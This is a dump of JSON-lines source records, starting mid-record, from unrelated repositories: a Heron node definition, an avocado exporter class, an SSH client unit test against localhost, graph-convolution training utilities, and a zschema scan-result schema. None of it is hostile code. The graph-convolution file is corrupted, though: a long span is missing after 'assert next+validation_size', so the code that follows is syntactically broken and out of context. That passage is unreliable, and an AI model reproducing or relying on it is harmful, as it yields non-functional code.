path.dirname(current_dir))\r\n\r\nfrom Heron import general_utils as gu\r\nExec = os.path.abspath(__file__)\r\n\r\n\r\n# \r\n\r\n\"\"\"\r\nProperties of the generated Node\r\n\"\"\"\r\nBaseName = 'TL Cottonbud Angle'\r\nNodeAttributeNames = ['Parameters', 'Frame In', 'Angle Out', 'Image Out']\r\nNodeAttributeType = ['Static', 'Input', 'Output', 'Output']\r\nParameterNames = ['Model zoo yaml', 'Model Weights File', 'Number of Classes', 'Calculate Image with Boxes']\r\nParameterTypes = ['str', 'str', 'int', 'bool']\r\nParametersDefaultValues = ['model_zoo_file.yaml', 'model_final.pth', 5, False]\r\nWorkerDefaultExecutable = os.path.join(os.path.dirname(Exec), 'tl_cottonbud_angle_worker.py')\r\n\r\n# \r\n\r\n\r\n# \r\nif __name__ == \"__main__\":\r\n # Since this is a multiple output node we need to pass NodeAttributeType, NodeAttributeNames to\r\n # general_utilities start_the_xxx_communications_process function\r\n tl_cottonbud_angle_com = gu.start_the_transform_communications_process(NodeAttributeType, NodeAttributeNames)\r\n gu.register_exit_signals(tl_cottonbud_angle_com.on_kill)\r\n tl_cottonbud_angle_com.start_ioloop()\r\n\r\n# \r\n", "source": "Heron-Repositories/Transfer-Learning-In-Animals", "license": "MIT"} {"text": "from avocado.models import DataConcept, DataView\nfrom avocado.formatters import Formatter\nfrom cStringIO import StringIO\n\n\nclass BaseExporter(object):\n \"Base class for all exporters\"\n file_extension = 'txt'\n content_type = 'text/plain'\n preferred_formats = []\n\n def __init__(self, concepts=None):\n if concepts is None:\n concepts = ()\n elif isinstance(concepts, DataView):\n node = concepts.parse()\n concepts = node.get_concepts_for_select()\n\n self.params = []\n self.row_length = 0\n self.concepts = concepts\n\n for concept in concepts:\n self.add_formatter(concept)\n\n def __repr__(self):\n return u'<{0}: {1}/{2}>'.format(self.__class__.__name__,\n len(self.params), self.row_length)\n\n def add_formatter(self, formatter, length=None, index=None):\n if isinstance(formatter, DataConcept):\n length = formatter.concept_fields.count()\n formatter = formatter.format\n elif isinstance(formatter, Formatter):\n length = len(formatter.keys)\n elif length is None:\n raise ValueError('A length must be supplied with the to '\n 'denote how much of the row will be formatted.')\n\n params = (formatter, length)\n self.row_length += length\n\n if index is not None:\n self.params.insert(index, params)\n else:\n self.params.append(params)\n\n def get_file_obj(self, name=None):\n if name is None:\n return StringIO()\n if isinstance(name, basestring):\n return open(name, 'w+')\n return name\n\n def _format_row(self, row, **kwargs):\n for formatter, length in self.params:\n values, row = row[:length], row[length:]\n yield formatter(values, preferred_formats=self.preferred_formats,\n **kwargs)\n\n def read(self, iterable, force_distinct=True, *args, **kwargs):\n \"\"\"Takes an iterable that produces rows to be formatted.\n\n If `force_distinct` is true, rows will be filtered based on the slice\n of the row that is going to be formatted.\n \"\"\"\n unique_rows = set()\n\n for row in iterable:\n _row = row[:self.row_length]\n\n if force_distinct:\n _row_hash = hash(tuple(_row))\n\n if _row_hash in unique_rows:\n continue\n\n unique_rows.add(_row_hash)\n\n yield self._format_row(_row, **kwargs)\n\n def write(self, iterable, *args, **kwargs):\n for row_gen in self.read(iterable, *args, **kwargs):\n row = []\n for data in row_gen:\n row.extend(data.values())\n yield tuple(row)\n", "source": "murphyke/avocado", "license": "BSD-2-Clause"} {"text": "import unittest\nfrom fpssh.clients.native.single import SSHClient\n\n\nclass SSHClientTest(unittest.TestCase):\n\n def setUp(self):\n self.fake_cmd = \"echo foo\"\n self.fake_res = \"foo\\n\"\n self.host = \"127.0.0.1\"\n self.port = 2222\n self.user = \"foo\"\n self.password = \"foo\"\n self.client = SSHClient(self.host, self.user, self.password, self.port)\n\n def test_execute(self):\n stdout, stderr = self.client.run_command(self.fake_cmd)\n\n out = list(stdout)\n\n self.assertEqual([self.fake_res], out)\n\n\nif \"__main__\" == __name__:\n unittest.main(verbosity=2)\n", "source": "deadwind4/fast-pssh", "license": "MIT"} {"text": "from __future__ import print_function\n\nimport numpy as np\nimport pickle as pkl\nimport networkx as nx\nimport scipy.io as sio\nimport scipy.sparse as sp\nimport scipy.sparse.linalg as slinalg\nimport scipy.linalg as linalg\nfrom scipy.sparse.linalg.eigen.arpack import eigsh\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.preprocessing import normalize\nimport sys\nfrom os import path\nimport copy\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL']='2'\nimport time\nimport random\nimport tensorflow as tf\n# import matplotlib.pyplot as plt\n\ndef save_sparse_csr(filename, array):\n np.savez(filename, data=array.data, indices=array.indices,\n indptr=array.indptr, shape=array.shape)\n\n\ndef load_sparse_csr(filename):\n loader = np.load(filename)\n return sp.csr_matrix((loader['data'], loader['indices'], loader['indptr']),\n shape=loader['shape'])\n\n\ndef parse_index_file(filename):\n \"\"\"Parse index file.\"\"\"\n index = []\n for line in open(filename):\n index.append(int(line.strip()))\n return index\n\n\ndef sample_mask(idx, l):\n \"\"\"Create mask.\"\"\"\n mask = np.zeros(l)\n mask[idx] = 1\n return np.array(mask, dtype=np.bool)\n\ndef get_triplet(y_train, train_mask, max_triplets):\n# print('y_train----',y_train.shape) \n index_nonzero = y_train.nonzero()\n# for i in range(y_train.shape[1]):\n# label_count.append(index_nonzero[1][[index_nonzero[1]==i]].size)\n label_count = np.sum(y_train, axis=0)\n all_count = np.sum(label_count)\n \n index_nonzero = np.transpose(np.concatenate((index_nonzero[0][np.newaxis,:], index_nonzero[1]\\\n [np.newaxis, :]),axis=0)).tolist()\n \n index_nonzero = sorted(index_nonzero, key = lambda s: s[1])\n #print(index_nonzero)\n #print(label_count)\n \n def get_one_triplet(input_index, index_nonzero, label_count, all_count, max_triplets):\n triplet = []\n if label_count[input_index[1]]==0:\n return 0\n else:\n # print('max_triplets', max_triplets)\n # print(all_count)\n # print(label_count[input_index[1]])\n n_triplets = min(max_triplets, int(all_count-label_count[input_index[1]]))\n # print('----------')\n\n for j in range(int(label_count[input_index[1]])-1):\n positives = []\n negatives = [] \n for k, (value, label) in enumerate(index_nonzero):\n #find a postive sample, and if only one sample then choose itself\n if label == input_index[1] and (value != input_index[0] or label_count[input_index[1]]==1):\n positives.append(index_nonzero[k])\n if label != input_index[1]:\n negatives.append(index_nonzero[k])\n # print('positives' ,positives)\n # print('negatives', negatives)\n negatives = random.sample(list(negatives), n_triplets)\n for value, label in negatives:\n triplet.append([input_index[0], positives[j][0], value])\n return triplet\n \n \n triplet = []\n for i, j in enumerate(index_nonzero):\n triple = get_one_triplet(j, index_nonzero, label_count, all_count,max_triplets)\n \n if triple == 0:\n continue\n else:\n triplet.extend(triple) \n np_triple = np.concatenate(np.array([triplet]), axis = 1)\n return np_triple\n\ndef load_data(dataset_str, train_size, validation_size, model_config, shuffle=True):\n \"\"\"Load data.\"\"\"\n if dataset_str in ['USPS-Fea', 'CIFAR-Fea', 'Cifar_10000_fea', 'Cifar_R10000_fea', 'MNIST-Fea', 'MNIST-10000', 'MNIST-5000']:\n data = sio.loadmat('data/{}.mat'.format(dataset_str))\n l = data['labels'].flatten()\n labels = np.zeros([l.shape[0],np.max(data['labels'])+1])\n labels[np.arange(l.shape[0]), l.astype(np.int8)] = 1\n features = data['X']\n sample = features[0].copy()\n adj = data['G']\n else:\n names = ['x', 'y', 'tx', 'ty', 'allx', 'ally', 'graph']\n objects = []\n for i in range(len(names)):\n with open(\"data/ind.{}.{}\".format(dataset_str, names[i]), 'rb') as f:\n if sys.version_info > (3, 0):\n objects.append(pkl.load(f, encoding='latin1'))\n else:\n objects.append(pkl.load(f))\n\n x, y, tx, ty, allx, ally, graph = tuple(objects)\n adj = nx.adjacency_matrix(nx.from_dict_of_lists(graph))\n test_idx_reorder = parse_index_file(\"data/ind.{}.test.index\".format(dataset_str))\n test_idx_range = np.sort(test_idx_reorder)\n\n if dataset_str == 'citeseer':\n # Fix citeseer dataset (there are some isolated nodes in the graph)\n # Find isolated nodes, add them as zero-vecs into the right position\n test_idx_range_full = range(min(test_idx_reorder), max(test_idx_reorder) + 1)\n tx_extended = sp.lil_matrix((len(test_idx_range_full), x.shape[1]))\n tx_extended[test_idx_range - min(test_idx_range), :] = tx\n tx = tx_extended\n ty_extended = np.zeros((len(test_idx_range_full), y.shape[1]))\n ty_extended[test_idx_range - min(test_idx_range), :] = ty\n ty = ty_extended\n\n features = sp.vstack((allx, tx)).tolil()\n # features = sp.eye(features.shape[0]).tolil()\n # features = sp.lil_matrix(allx)\n\n labels = np.vstack((ally, ty))\n # labels = np.vstack(ally)\n\n if dataset_str.startswith('nell'):\n # Find relation nodes, add them as zero-vecs into the right position\n test_idx_range_full = range(allx.shape[0], len(graph))\n isolated_node_idx = np.setdiff1d(test_idx_range_full, test_idx_reorder)\n tx_extended = sp.lil_matrix((len(test_idx_range_full), x.shape[1]))\n tx_extended[test_idx_range - allx.shape[0], :] = tx\n tx = tx_extended\n ty_extended = np.zeros((len(test_idx_range_full), y.shape[1]))\n ty_extended[test_idx_range - allx.shape[0], :] = ty\n ty = ty_extended\n\n features = sp.vstack((allx, tx)).tolil()\n features[test_idx_reorder, :] = features[test_idx_range, :]\n labels = np.vstack((ally, ty))\n labels[test_idx_reorder, :] = labels[test_idx_range, :]\n\n idx_all = np.setdiff1d(range(len(graph)), isolated_node_idx)\n\n if not os.path.isfile(\"data/planetoid/{}.features.npz\".format(dataset_str)):\n print(\"Creating feature vectors for relations - this might take a while...\")\n features_extended = sp.hstack((features, sp.lil_matrix((features.shape[0], len(isolated_node_idx)))),\n dtype=np.int32).todense()\n features_extended[isolated_node_idx, features.shape[1]:] = np.eye(len(isolated_node_idx))\n features = sp.csr_matrix(features_extended, dtype=np.float32)\n print(\"Done!\")\n save_sparse_csr(\"data/planetoid/{}.features\".format(dataset_str), features)\n else:\n features = load_sparse_csr(\"data/planetoid/{}.features.npz\".format(dataset_str))\n\n adj = nx.adjacency_matrix(nx.from_dict_of_lists(graph))\n features[test_idx_reorder, :] = features[test_idx_range, :]\n labels[test_idx_reorder, :] = labels[test_idx_range, :]\n features = preprocess_features(features, feature_type=model_config['feature'])\n\n global all_labels\n all_labels = labels.copy()\n\n # split the data set\n idx = np.arange(len(labels))\n no_class = labels.shape[1] # number of class\n # validation_size = validation_size * len(idx) // 100\n # if not hasattr(train_size, '__getitem__'):\n train_size = [train_size for i in range(labels.shape[1])]\n if shuffle:\n np.random.shuffle(idx)\n idx_train = []\n count = [0 for i in range(no_class)]\n label_each_class = train_size\n next = 0\n for i in idx:\n if count == label_each_class:\n break\n next += 1\n for j in range(no_class):\n if labels[i, j] and count[j] < label_each_class[j]:\n idx_train.append(i)\n count[j] += 1\n\n test_size = model_config['test_size']\n if model_config['validate']:\n if test_size:\n assert next+validation_size 0] = 0\n # a[W.dot(y) > 0] = 0\n gate = (-np.sort(-a, axis=0))[t[i]]\n index = np.where(a.flat > gate)[0]\n\n # x1 = features[index, :].reshape((-1, 1, features.shape[1]))\n # x2 = features[y_train[:, i].astype(np.bool)].reshape((1, -1, features.shape[1]))\n # D = np.sum((x1 - x2) ** 2, axis=2) ** 0.5\n # D = np.mean(D, axis=1)\n # gate = 100000000 if t[i] >= D.shape[0] else np.sort(D, axis=0)[t[i]]\n # index = index[D= no_class\n index = []\n count = [0 for i in range(no_class)]\n for i in sorted_index:\n for j in range(no_class):\n if new_gcn_index[i] == j and count[j] < t[j] and not train_mask[i]:\n index.append(i)\n count[j] += 1\n else:\n index = sorted_index[:t]\n indicator = np.zeros(train_mask.shape, dtype=np.bool)\n indicator[index] = True\n indicator = np.logical_and(np.logical_not(train_mask), indicator)\n\n prediction = np.zeros(prediction.shape)\n prediction[np.arange(len(new_gcn_index)), new_gcn_index] = 1.0\n prediction[train_mask] = y_train[train_mask]\n\n correct_labels = np.sum(prediction[indicator] * all_labels[indicator], axis=0)\n count = np.sum(prediction[indicator], axis=0)\n print('Additiona Label:')\n for i, j in zip(correct_labels, count):\n print(int(i), '/', int(j), sep='', end='\\t')\n print()\n\n y_train = np.copy(y_train)\n train_mask = np.copy(train_mask)\n train_mask[indicator] = 1\n y_train[indicator] = prediction[indicator]\n return y_train, train_mask\n\n\ndef lp(adj, alpha, y_train, train_mask, y_test, stored_A=None):\n P = absorption_probability(adj, alpha, stored_A=stored_A, column=train_mask)\n P = P[:, train_mask]\n\n # nearest clssifier\n predicted_labels = np.argmax(P, axis=1)\n # prediction = alpha*P\n prediction = np.zeros(P.shape)\n prediction[np.arange(P.shape[0]), predicted_labels] = 1\n\n y = np.sum(train_mask)\n label_per_sample = np.vstack([np.zeros(y), np.eye(y)])[np.add.accumulate(train_mask) * train_mask]\n sample2label = label_per_sample.T.dot(y_train)\n prediction = prediction.dot(sample2label)\n\n test_acc = np.sum(prediction * y_test) / np.sum(y_test)\n test_acc_of_class = np.sum(prediction * y_test, axis=0) / np.sum(y_test, axis=0)\n # print(test_acc, test_acc_of_class)\n return test_acc, test_acc_of_class, prediction\n\n\ndef union_intersection(prediction, t, y_train, train_mask, W, alpha, stored_A, union_or_intersection):\n no_class = y_train.shape[1] # number of class\n\n # gcn index\n new_labels_gcn = np.argmax(prediction, axis=1)\n confidence = np.max(prediction, axis=1)\n sorted_index = np.argsort(-confidence)\n\n if not hasattr(t, '__getitem__'):\n t = [t for i in range(no_class)]\n\n assert len(t) >= no_class\n count = [0 for i in range(no_class)]\n index_gcn = [[] for i in range(no_class)]\n for i in sorted_index:\n j = new_labels_gcn[i]\n if count[j] < t[j] and not train_mask[i]:\n index_gcn[j].append(i)\n count[j] += 1\n\n # lp\n A = absorption_probability(W, alpha, stored_A, train_mask)\n train_index = np.where(train_mask)[0]\n already_labeled = np.sum(y_train, axis=1)\n index_lp = []\n for i in range(no_class):\n y = y_train[:, i:i + 1]\n a = np.sum(A[:, y.flat > 0], axis=1)\n a[already_labeled > 0] = 0\n # a[W.dot(y) > 0] = 0\n gate = (-np.sort(-a, axis=0))[t[i]]\n index = np.where(a.flat > gate)[0]\n index_lp.append(index)\n\n # print(list(map(len, index_gcn)))\n # print(list(map(len, index_lp)))\n\n y_train = y_train.copy()\n print(\"Additional Label:\")\n for i in range(no_class):\n assert union_or_intersection in ['union', 'intersection']\n if union_or_intersection == 'union':\n index = list(set(index_gcn[i]) | set(index_lp[i]))\n else:\n index = list(set(index_gcn[i]) & set(index_lp[i]))\n y_train[index, i] = 1\n train_mask[index] = True\n print(np.sum(all_labels[index, i]), '/', len(index), sep='', end='\\t')\n return y_train, train_mask\n\n\ndef ap_approximate(adj, features, alpha, k):\n adj = normalize(adj + sp.eye(adj.shape[0]), 'l1', axis=1) / (alpha + 1)\n # D = sp.diags(np.array(adj.sum(axis=1)).flatten())+alpha*sp.eye(adj.shape[0])\n # D = D.power(-1)\n # adj = D*adj\n # features = D*alpha*features\n if sp.issparse(features):\n features = features.toarray()\n new_feature = np.zeros(features.shape)\n for _ in range(k):\n new_feature = adj * new_feature + features\n new_feature *= alpha / (alpha + 1)\n return new_feature\n\nall_labels = None\n\n\n# dataset = None\n\ndef correct_label_count(indicator, i):\n count = np.sum(all_labels[:, i][indicator])\n if indicator.dtype == np.bool:\n total = np.where(indicator)[0].shape[0]\n elif indicator.dtype in [np.int, np.int8, np.int16, np.int32, np.int64]:\n total = indicator.shape[0]\n else:\n raise TypeError('indicator must be of data type np.bool or np.int')\n # print(\" for class {}, {}/{} is correct\".format(i, count, total))\n print(count, '/', total, sep='', end='\\t')\n\n\ndef construct_feed_dict(features, support, labels, labels_mask, placeholders):\n \"\"\"Construct feed dictionary.\"\"\"\n feed_dict = dict()\n feed_dict.update({placeholders['labels']: labels})\n feed_dict.update({placeholders['labels_mask']: labels_mask})\n feed_dict.update({placeholders['features']: features})\n feed_dict.update({placeholders['support'][i]: support[i] for i in range(len(support))})\n feed_dict.update({placeholders['num_features_nonzero']: features[1].shape})\n return feed_dict\n\n\ndef preprocess_model_config(model_config):\n if model_config['Model'] not in [17, 23]:\n model_config['connection'] = list(model_config['connection'])\n # judge if parameters are legal\n for c in model_config['connection']:\n if c not in ['c', 'd', 'r', 'f', 'C']:\n raise ValueError(\n 'connection string specified by --connection can only contain \"c\", \"d\", \"r\", \"f\", \"C\" but \"{}\" found'.format(\n c))\n for i in model_config['layer_size']:\n if not isinstance(i, int):\n raise ValueError('layer_size should be a list of int, but found {}'.format(model_config['layer_size']))\n if i <= 0:\n raise ValueError('layer_size must be greater than 0, but found {}' % i)\n if not len(model_config['connection']) == len(model_config['layer_size']) + 1:\n raise ValueError('length of connection string should be equal to length of layer_size list plus 1')\n\n # Generate name\n if not model_config['name']:\n model_name = str(model_config['Model'])\n if model_config['Model'] != 'lp':\n model_name += '_' + model_config['connection'][0]\n for char, size in \\\n zip(model_config['connection'][1:], model_config['layer_size']):\n model_name += str(size) + char\n\n if model_config['conv'] == 'cheby':\n model_name += '_cheby' + str(model_config['max_degree'])\n elif model_config['conv'] == 'taubin':\n model_name += '_conv_taubin' + str(model_config['taubin_lambda']) \\\n + '_' + str(model_config['taubin_mu']) \\\n + '_' + str(model_config['taubin_repeat'])\n elif model_config['conv'] == 'test21':\n model_name += '_' + 'conv_test21' + '_' + str(model_config['alpha']) + '_' + str(model_config['beta'])\n elif model_config['conv'] == 'gcn_unnorm':\n model_name += '_' + 'gcn_unnorm'\n elif model_config['conv'] == 'gcn_noloop':\n model_name += '_' + 'gcn_noloop'\n if model_config['validate']:\n model_name += '_validate'\n\n if model_config['Model'] == 'cotraining':\n model_name += '_alpha_' + str(\n model_config['alpha'])\n # if model_config['Model'] == 'selftraining':\n # Model_to_add_label = copy.deepcopy(model_config)\n # if 'Model_to_add_label' in Model_to_add_label:\n # del Model_to_add_label['Model_to_add_label']\n # if 'Model_to_predict' in Model_to_add_label:\n # del Model_to_add_label['Model_to_predict']\n # Model_to_add_label.update({'Model': 'GCN'})\n # model_config['Model_to_add_label'] = Model_to_add_label\n # preprocess_model_config(model_config['Model_to_add_label'])\n #\n # Model_to_predict = copy.deepcopy(model_config)\n # if 'Model_to_add_label' in Model_to_predict:\n # del Model_to_predict['Model_to_add_label']\n # if 'Model_to_predict' in Model_to_predict:\n # del Model_to_predict['Model_to_predict']\n # Model_to_predict.update({'Model': 'GCN'})\n # model_config['Model_to_predict'] = Model_to_predict\n # preprocess_model_config(model_config['Model_to_predict'])\n # model_name = 'Model' + str(model_config['Model']) \\\n # + '_{' + model_config['Model_to_add_label']['name'] + '}' \\\n # + '_{' + model_config['Model_to_predict']['name'] + '}'\n if model_config['Model'] in ['union', 'intersection','lp']:\n model_name += '_alpha_' + str(model_config['alpha'])\n\n if model_config['Model'] in ['union', 'intersection', 'selftraining']:\n Model_to_add_label = copy.deepcopy(model_config)\n if 'Model_to_add_label' in Model_to_add_label:\n del Model_to_add_label['Model_to_add_label']\n if 'Model_to_predict' in Model_to_add_label:\n del Model_to_add_label['Model_to_predict']\n Model_to_add_label.update({'Model': 'GCN'})\n model_config['Model_to_add_label'] = Model_to_add_label\n preprocess_model_config(model_config['Model_to_add_label'])\n\n Model_to_predict = copy.deepcopy(model_config)\n if 'Model_to_add_label' in Model_to_predict:\n del Model_to_predict['Model_to_add_label']\n if 'Model_to_predict' in Model_to_predict:\n del Model_to_predict['Model_to_predict']\n Model_to_predict.update({'Model': 'GCN'})\n model_config['Model_to_predict'] = Model_to_predict\n preprocess_model_config(model_config['Model_to_predict'])\n\n\n model_config['name'] = model_name\n\n\nif __name__ == '__main__':\n pass", "source": "hareeshks/gcn", "license": "MIT"} {"text": "from zschema.leaves import *\nfrom zschema.compounds import *\n\nimport zschema.registry\n\nfrom ztag.annotation import Annotation\n\nimport zcrypto_schemas.zcrypto as zcrypto\nimport zgrab2_schemas.zgrab2 as zgrab2\nimport zgrab2_schemas.zgrab2.mssql as zgrab2_mssql\nimport zgrab2_schemas.zgrab2.oracle as zgrab2_oracle\nimport zgrab2_schemas.zgrab2.ssh as zgrab2_ssh\n\n__local_metadata = {}\nfor key in Annotation.LOCAL_METADATA_KEYS:\n __local_metadata[key] = WhitespaceAnalyzedString()\nlocal_metadata = SubRecord(__local_metadata)\n\nztag_dh_export = SubRecord({\n \"dh_params\": zcrypto.DHParams(doc=\"The parameters for the key.\"),\n \"support\": Boolean(),\n \"metadata\": local_metadata,\n \"timestamp\": Timestamp(),\n})\n\nztag_dh = SubRecord({\n \"dh_params\": zcrypto.DHParams(doc=\"The parameters for the key.\"),\n \"support\": Boolean(),\n \"metadata\": local_metadata,\n \"timestamp\": Timestamp(),\n})\n\nztag_rsa_export = SubRecord({\n \"rsa_params\":zcrypto.RSAPublicKey(),\n \"support\":Boolean(),\n \"metadata\":local_metadata,\n \"timestamp\":Timestamp(),\n})\n\nztag_ecdh = SubRecord({\n \"ecdh_params\":zcrypto.ECDHParams(),\n \"support\":Boolean(),\n \"metadata\":local_metadata,\n \"timestamp\":Timestamp(),\n})\n\nzgrab_certificate_trust = SubRecord({\n \"type\":Enum(doc=\"root, intermediate, or leaf certificate\"),\n \"trusted_path\":Boolean(doc=\"Does certificate chain up to browser root store\"),\n \"valid\":Boolean(doc=\"is this certificate currently valid in this browser\"),\n \"was_valid\":Boolean(doc=\"was this certificate ever valid in this browser\")\n})\n\n_zcrypto_parsed_cert = zcrypto.ParsedCertificate()\n\nzgrab_certificate = SubRecord({\n \"parsed\": SubRecord({\n \"__expanded_names\": ListOf(String()),\n }, extends=_zcrypto_parsed_cert),\n \"validation\":SubRecord({\n \"nss\":zgrab_certificate_trust.new(category=\"NSS (Firefox) Validation\"),\n \"apple\":zgrab_certificate_trust.new(category=\"Apple Validation\"),\n \"microsoft\":zgrab_certificate_trust.new(category=\"Microsoft Validation\"),\n \"android\":zgrab_certificate_trust,\n \"java\":zgrab_certificate_trust,\n }),\n})\n\n\nzgrab_server_certificate_valid = SubRecord({\n \"complete_chain\":Boolean(doc=\"does server provide a chain up to a root\"),\n \"valid\":Boolean(doc=\"is this certificate currently valid in this browser\"),\n \"error\":WhitespaceAnalyzedString()\n})\n\nztag_tls_type = SubRecordType({\n # This is server_hello.version.name\n \"version\": zcrypto.TLSVersionName(),\n # cipher_suite = { id: server_hello.cipher_suite.hex, name: server_hello.cipher_suite.name }\n \"cipher_suite\": SubRecord({\n \"id\": String(doc=\"The hexadecimal string representation of the numeric cipher algorithm identifier.\"),\n \"name\": WhitespaceAnalyzedString(\n doc=\"The algorithm identifier for the cipher algorithm identifier, see e.g. https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml.\",\n examples=[\"unknown\", \"TLS_RSA_WITH_RC4_128_MD5\", \"TLS_KRB5_WITH_3DES_EDE_CBC_SHA\", \"TLS_ECDHE_PSK_WITH_AES_128_GCM_SHA256\"],\n ),\n }),\n # server_hello.ocsp_stapling\n \"ocsp_stapling\": Boolean(),\n # server_hello.secure_renegotiation\n \"secure_renegotiation\": Boolean(),\n # certificate.parsed = server_certificates.certificate.parsed\n \"certificate\": zgrab_certificate,\n # chain.parsed = [ elt.parsed for elt in server_certificates.chain ]\n \"chain\": ListOf(zgrab_certificate),\n # server_hello.scts\n \"scts\": ListOf(zcrypto.SCTRecord()),\n # session_ticket = { key: session_ticket[key] for key in (\"length, \"lifetime_hint\") }\n \"session_ticket\": zcrypto.SessionTicket(),\n # validation = { server_certificates.validation[key] for key in (\"browser_trusted\", \"browser_error\", \"matches_domain\") }\n \"validation\": zcrypto.TLSCertificateValidation(),\n # server_key_exchange = { server_key_exchange[key] for key in (\"ecdh_params\", \"dh_params\", \"rsa_params\")\n \"server_key_exchange\": zcrypto.ServerKeyExchange(),\n # signature = ...\n \"signature\": SubRecord({\n # ... = signature.valid\n \"valid\": Boolean(),\n # ... = signature.signature_error\n \"signature_error\": WhitespaceAnalyzedString(),\n # ... = signature.signature_and_hash_type.signature_algorithm\n \"signature_algorithm\": String(),\n # ... = signature.signature_and_hash_type.hash_algorithm\n \"hash_algorithm\": String(),\n }),\n \"metadata\": local_metadata,\n \"timestamp\": Timestamp(),\n})\n\nztag_tls = ztag_tls_type()\n\nztag_heartbleed = SubRecord({\n \"heartbeat_enabled\":Boolean(),\n \"heartbleed_vulnerable\":Boolean(),\n \"metadata\":local_metadata,\n \"timestamp\":Timestamp(),\n})\n\nztag_smtp_starttls = SubRecord({\n \"banner\": WhitespaceAnalyzedString(),\n \"ehlo\": WhitespaceAnalyzedString(),\n \"starttls\": WhitespaceAnalyzedString(),\n \"tls\": ztag_tls,\n \"metadata\":local_metadata,\n \"timestamp\":Timestamp(),\n})\n\nztag_mail_starttls = SubRecord({\n \"banner\": WhitespaceAnalyzedString(),\n \"starttls\": WhitespaceAnalyzedString(),\n \"tls\": ztag_tls,\n \"metadata\": local_metadata,\n \"timestamp\":Timestamp(),\n})\n\nztag_mail_tls = SubRecord({\n \"tls\":ztag_tls,\n \"banner\": WhitespaceAnalyzedString(),\n \"metadata\":local_metadata,\n \"timestamp\":Timestamp(),\n})\n\nzgrab_unknown_http_header = SubRecord({\n \"key\":String(),\n \"value\":WhitespaceAnalyzedString()\n})\n\nzgrab_http_headers = SubRecord({\n \"access_control_allow_origin\":WhitespaceAnalyzedString(),\n \"accept_patch\":WhitespaceAnalyzedString(),\n \"accept_ranges\":WhitespaceAnalyzedString(),\n \"age\":WhitespaceAnalyzedString(),\n \"allow\":WhitespaceAnalyzedString(),\n \"alt_svc\":WhitespaceAnalyzedString(),\n \"alternate_protocol\":WhitespaceAnalyzedString(),\n \"cache_control\":WhitespaceAnalyzedString(),\n \"connection\":WhitespaceAnalyzedString(),\n \"content_disposition\":WhitespaceAnalyzedString(),\n \"content_encoding\":WhitespaceAnalyzedString(),\n \"content_language\":WhitespaceAnalyzedString(),\n \"content_length\":WhitespaceAnalyzedString(),\n \"content_location\":WhitespaceAnalyzedString(),\n \"content_md5\":WhitespaceAnalyzedString(),\n \"content_range\":WhitespaceAnalyzedString(),\n \"content_type\":WhitespaceAnalyzedString(),\n \"date\":WhitespaceAnalyzedString(),\n \"etag\":WhitespaceAnalyzedString(),\n \"expires\":WhitespaceAnalyzedString(),\n \"last_modified\":WhitespaceAnalyzedString(),\n \"link\":WhitespaceAnalyzedString(),\n \"location\":WhitespaceAnalyzedString(),\n \"p3p\":WhitespaceAnalyzedString(),\n \"pragma\":WhitespaceAnalyzedString(),\n \"proxy_authenticate\":WhitespaceAnalyzedString(),\n \"public_key_pins\":WhitespaceAnalyzedString(),\n \"refresh\":WhitespaceAnalyzedString(),\n \"referer\":WhitespaceAnalyzedString(),\n \"retry_after\":WhitespaceAnalyzedString(),\n \"server\":WhitespaceAnalyzedString(),\n \"set_cookie\":WhitespaceAnalyzedString(),\n \"status\":WhitespaceAnalyzedString(),\n \"strict_transport_security\":WhitespaceAnalyzedString(),\n \"trailer\":WhitespaceAnalyzedString(),\n \"transfer_encoding\":WhitespaceAnalyzedString(),\n \"upgrade\":WhitespaceAnalyzedString(),\n \"vary\":WhitespaceAnalyzedString(),\n \"via\":WhitespaceAnalyzedString(),\n \"warning\":WhitespaceAnalyzedString(),\n \"www_authenticate\":WhitespaceAnalyzedString(),\n \"x_frame_options\":WhitespaceAnalyzedString(),\n \"x_xss_protection\":WhitespaceAnalyzedString(),\n \"content_security_policy\":WhitespaceAnalyzedString(),\n \"x_content_security_policy\":WhitespaceAnalyzedString(),\n \"x_webkit_csp\":WhitespaceAnalyzedString(),\n \"x_content_type_options\":WhitespaceAnalyzedString(),\n \"x_powered_by\":WhitespaceAnalyzedString(),\n \"x_ua_compatible\":WhitespaceAnalyzedString(),\n \"x_content_duration\":WhitespaceAnalyzedString(),\n \"x_forwarded_for\":WhitespaceAnalyzedString(),\n \"x_real_ip\":WhitespaceAnalyzedString(),\n \"proxy_agent\":WhitespaceAnalyzedString(),\n \"unknown\":ListOf(zgrab_unknown_http_header)\n})\n\nztag_http = SubRecord({\n \"status_code\":Unsigned16BitInteger(),\n \"status_line\":WhitespaceAnalyzedString(),\n \"body\":HTML(),\n \"headers\":zgrab_http_headers,\n \"body_sha256\":HexString(validation_policy=\"warn\"),\n \"title\":WhitespaceAnalyzedString(),\n \"metadata\":local_metadata,\n \"timestamp\":Timestamp(),\n})\n\ngolang_crypto_param = SubRecord({\n \"value\":IndexedBinary(),\n \"length\":Unsigned32BitInteger()\n})\n\n#ztag_open_proxy = SubRecord({\n# \"connect\":SubRecord({\n# \"status_code\":Integer(),\n# \"status_line\":WhitespaceAnalyzedString(),\n# \"body\":WhitespaceAnalyzedString(),\n# \"headers\":zgrab_http_headers\n# }),\n# \"get\":SubRecord({\n# \"status_code\":Integer(),\n# \"status_line\":WhitespaceAnalyzedString(),\n# \"body\":WhitespaceAnalyzedString(),\n# \"headers\":zgrab_http_headers,\n# \"random_present\":Boolean(),\n# \"body_sha256\":HexString()\n# }),\n# \"metadata\":local_metadata\n#})\n\n# 2018/09/07: Workaround for mis-typed CertType.id field in ES; actual type is uint32, current ES\n# type is keyword (string).\nssh_certkey_public_key_type = zgrab2_ssh.CertType(exclude={\"bigquery\"})\nssh_certkey_public_key_type[\"id\"].set(\"exclude\",\n ssh_certkey_public_key_type[\"id\"].exclude |\n {\"elasticsearch\"})\n\nztag_ssh_v2 = SubRecord({\n \"metadata\": local_metadata,\n \"timestamp\": Timestamp(),\n \"banner\": zgrab2_ssh.AnalyzedEndpointID(),\n # This is a massaged version of zgrab2_ssh.KexInitMessage\n \"support\": SubRecord({\n \"kex_algorithms\": zgrab2_ssh.KexAlgorithms(),\n \"host_key_algorithms\": zgrab2_ssh.KeyAlgorithms(),\n \"first_kex_follows\": Boolean(),\n \"client_to_server\": SubRecord({\n \"ciphers\": zgrab2_ssh.CipherAlgorithms(),\n \"macs\": zgrab2_ssh.MACAlgorithms(),\n \"compressions\": zgrab2_ssh.CompressionAlgorithms(),\n \"languages\": zgrab2_ssh.LanguageTags(),\n }),\n 